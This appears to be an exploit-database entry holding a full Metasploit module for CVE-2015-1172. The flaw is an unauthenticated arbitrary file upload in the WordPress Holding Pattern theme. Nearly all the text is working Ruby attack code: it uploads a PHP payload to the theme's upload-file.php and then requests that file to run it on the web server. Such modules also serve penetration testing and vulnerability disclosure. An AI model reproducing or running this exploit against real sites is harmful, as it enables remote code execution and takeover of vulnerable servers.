WordPress Holding Pattern Theme Arbitrary File Upload



EKU-ID: 4607 CVE: 2015-1172 OSVDB-ID:
Author: Alexander Borg Published: 2015-02-25 Verified: Verified
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##
# This module requires Metasploit: http://www.metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'socket'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FileDropper
  include Msf::HTTP::Wordpress

  def initialize(info = {})
    super(update_info(
      info,
      'Name'            => 'WordPress Holding Pattern Theme Arbitrary File Upload',
      'Description'     => %q{
          This module exploits a file upload vulnerability in all versions of the
          Holding Pattern theme found in the upload_file.php script which contains
          no session or file validation. It allows unauthenticated users to upload
          files of any type and subsequently execute PHP scripts in the context of
          the web server.
        },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'Alexander Borg',                 # Vulnerability disclosure
          'Rob Carr <rob[at]rastating.com>' # Metasploit module
        ],
      'References'      =>
        [
          ['CVE', '2015-1172'],
          ['WPVDB', '7784'],
          ['URL', 'http://packetstormsecurity.com/files/130282/WordPress-Holding-Pattern-0.6-Shell-Upload.html']
        ],
      'DisclosureDate'  => 'Feb 11 2015',
      'Platform'        => 'php',
      'Arch'            => ARCH_PHP,
      'Targets'         => [['holding_pattern', {}]],
      'DefaultTarget'   => 0
    ))
  end

  def rhost
    datastore['RHOST']
  end

  def holding_pattern_uploads_url
    normalize_uri(wordpress_url_themes, 'holding_pattern', 'uploads/')
  end

  def holding_pattern_uploader_url
    normalize_uri(wordpress_url_themes, 'holding_pattern', 'admin', 'upload-file.php')
  end

  def generate_mime_message(payload, payload_name)
    data = Rex::MIME::Message.new
    target_ip = IPSocket.getaddress(rhost)
    field_name = Rex::Text.md5(target_ip)
    data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"#{field_name}\"; filename=\"#{payload_name}\"")
    data
  end

  def exploit
    print_status("#{peer} - Preparing payload...")
    payload_name = "#{Rex::Text.rand_text_alpha(10)}.php"
    data = generate_mime_message(payload, payload_name)

    print_status("#{peer} - Uploading payload...")
    res = send_request_cgi(
      'method'    => 'POST',
      'uri'       => holding_pattern_uploader_url,
      'ctype'     => "multipart/form-data; boundary=#{data.bound}",
      'data'      => data.to_s
    )
    fail_with(Failure::Unreachable, 'No response from the target') if res.nil?
    fail_with(Failure::UnexpectedReply, "Server responded with status code #{res.code}") if res.code != 200
    payload_url = normalize_uri(holding_pattern_uploads_url, payload_name)

    print_status("#{peer} - Executing the payload at #{payload_url}")
    register_files_for_cleanup(payload_name)
    send_request_cgi({ 'uri' => payload_url, 'method'  => 'GET' }, 5)
  end
end